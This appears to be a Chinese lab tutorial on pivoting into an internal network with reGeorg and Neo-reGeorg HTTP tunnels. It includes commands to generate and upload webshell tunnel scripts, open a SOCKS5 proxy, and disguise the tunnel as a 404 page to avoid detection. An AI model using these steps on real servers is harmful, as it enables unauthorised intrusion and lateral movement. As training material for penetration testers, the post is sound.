跳板攻击之:reGeorg 代理转发

郑重声明:

本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 原理

reGeorg 代理转发是将内网服务器端的数据通过 HTTP/HTTPS 隧道转发到本机,实现基于 HTTP 协议的通信。

2 Neo-reGeorg

  • reGeorg 脚本的特征非常明显,容易被杀毒软件查杀,需要做免杀处理。
  • Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
    • 提高 tunnel 连接安全性
    • 提高可用性,避免特征检测
    • 提高传输内容保密性
    • 应对更多的网络环境场景
  • 下载地址:Release Neo-reGeorg v3.8.1 · L-codes/Neo-reGeorg (github.com)

2.1 实验环境

2.2 利用过程

  1. 对外服务器Win10需要有web服务,可使用phpstudy新建一个

  2. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) ,并上传到对外服务器 Win10 WEB服务根目录下,并确保 kali主机可以访问Win10 服务器上的 tunnel.jsp 文件

    # python neoreg.py generate -k acmd
    
        [+] Mkdir a directory: neoreg_servers
    [+] Create neoreg server files:
    => neoreg_servers/tunnel.jspx
    => neoreg_servers/tunnel_compatibility.jspx
    => neoreg_servers/tunnel.aspx
    => neoreg_servers/tunnel.ashx
    => neoreg_servers/tunnel.jsp
    => neoreg_servers/tunnel_compatibility.jsp
    => neoreg_servers/tunnel.php
    • -k:密码
  3. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

    # python3 neoreg.py -k acmd -u http://192.168.50.236/tunnel.php
    
    +------------------------------------------------------------------------+
    Log Level set to [ERROR]
    Starting SOCKS5 server [127.0.0.1:1080]
    Tunnel at:
    http://192.168.50.236/tunnel.php
    +------------------------------------------------------------------------+
    • -k:密码,与生成tunnel时的密码要保持一致
  4. 配置 Proxychains

    vim /etc/proxychains4.conf
    socks5 127.0.0.1 1080
  5. 代理访问内网服务器

2.3 Advanced Usage

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端 WEB,需要设置代理才能访问
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
  1. 需要分散请求,可上传到多个路径上,如内存马
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
[--max-read-size KB] Generate neoreg webshell optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY Specify connection key.
-o DIR, --outdir DIR Output directory.
-f FILE, --file FILE Camouflage html page file
-c CODE, --httpcode CODE
Specify HTTP response code. When using -r, it is
recommended to <400. (default: 200)
--read-buff Bytes Remote read buffer. (default: 513)
--max-read-size KB Remote max read size. (default: 512) # 连接服务端
$ python neoreg.py -h
usage: neoreg.py [-h] -u URI [-r URL] [-t IP:PORT] -k KEY [-l IP] [-p PORT]
[-s] [-H LINE] [-c LINE] [-x LINE] [--php-connect-timeout S]
[--local-dns] [--read-buff KB] [--read-interval MS]
[--write-interval MS] [--max-threads N] [--cut-left N]
[--cut-right N] [-v] Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
(debug_all|debug_base64|debug_headers_key|debug_headers_values) optional arguments:
-h, --help show this help message and exit
-u URI, --url URI The url containing the tunnel script
-r URL, --redirect-url URL
Intranet forwarding the designated server (only
jsp(x))
-t IP:PORT, --target IP:PORT
Network forwarding Target, After setting this
parameter, port forwarding will be enabled
-k KEY, --key KEY Specify connection key
-l IP, --listen-on IP
The default listening address.(default: 127.0.0.1)
-p PORT, --listen-port PORT
The default listening port.(default: 1080)
-s, --skip Skip usability testing
-H LINE, --header LINE
Pass custom header LINE to server
-c LINE, --cookie LINE
Custom init cookies
-x LINE, --proxy LINE
Proto://host[:port] Use proxy on given port
--php-connect-timeout S
PHP connect timeout.(default: 0.5)
--local-dns Use local resolution DNS
--read-buff KB Local read buffer, max data to be sent per
POST.(default: 7, max: 50)
--read-interval MS Read data interval in milliseconds.(default: 300)
--write-interval MS Write data interval in milliseconds.(default: 200)
--max-threads N Proxy max threads.(default: 1000)
--cut-left N Truncate the left side of the response body
--cut-right N Truncate the right side of the response body
--extract EXPR Manually extract BODY content. (eg: <html><p>REGBODY</p></html> )
-v Increase verbosity level (use -vv or more for greater
effect)

2.4 Remind

  • Mac OSX 上运行 neoreg.py 时,高并发请求会出现网络丢包情况,可通过 ulimit -n 2560 修改当前 shell 的 "最大文件打开数"

  • Tomcat5 等 jdk 低版本情况,用 tunnel_compatibility.jsp(x) 即可

3 reGeorg 代理转发

3.1 实验环境

3.2 利用过程

  1. 将脚本文件上传到Win2012服务器中,并确保 evil 主机可以访问Win2012服务器上的 tunnel.jsp 文件

  2. 在 evil 主机上,利用 reGeorgSocksProxy.py 脚本监听本地的 4444 端口,即可建立代理通信。

    python reGeorgSocksProxy.py -u http://192.168.0.21/regeorg/tunnel.aspx -p 4444

  3. 配置 Proxychains

    vim /etc/proxychains4.conf
    socks5 127.0.0.1 4444
  4. 代理访问 bulldog

最新文章

  1. ASP.NET加密和解密数据库连接字符串
  2. POJ1741:tree
  3. Selenium FF WebDriver运行时开启firebug的2种方式
  4. ThinkPHP 3.2.3 关联模型的使用
  5. 转:Media Player Classic - HC 源代码分析
  6. (转)Linux下MatlabCompilerRuntime的安装和使用
  7. ubuntu14.04LTS 下storm单机版安装配置
  8. sudo su 提示没有配置JDK environment
  9. Spark常用函数讲解之Action操作
  10. mongoDB初接触
  11. 【老鸟学算法】包含 min函数的栈设计——java实现
  12. 美化博客CSS
  13. react-conponent-todo
  14. Java的关键字
  15. Spring+SpringMVC+MyBatis+easyUI整合基础篇(一)项目简述及技术选型介绍
  16. Vue+Highcharts完全使用
  17. Visual Studio(C#)快捷键与Eclipse(JAVA)快捷键对比
  18. git分支错误提交导致代码丢失--窗口提示HEAD detached错误
  19. HDU 6092 17多校5 Rikka with Subset(dp+思维)
  20. nginx配置资源缓存

热门文章

  1. Day29 派生, 封装 , 多态, 反射
  2. python-封装、继承、多态
  3. 【Java SE进阶】Day09 字节流、字符流、I/O操作、属性集
  4. 单一接口优化过程全记录(主要涉及Redis)
  5. Hexo+next主题美化
  6. mysql下载及环境配置
  7. 浅谈入行Qt桌面端开发程序员-从毕业到上岗(1):当我们说到桌面端开发时,我们在谈论什么?
  8. java中的静态属性和静态方法
  9. “喜提”一个P2级故障—CMSGC太频繁,你知道这是什么鬼?
  10. Redis 中ZSET数据类型命令使用及对应场景总结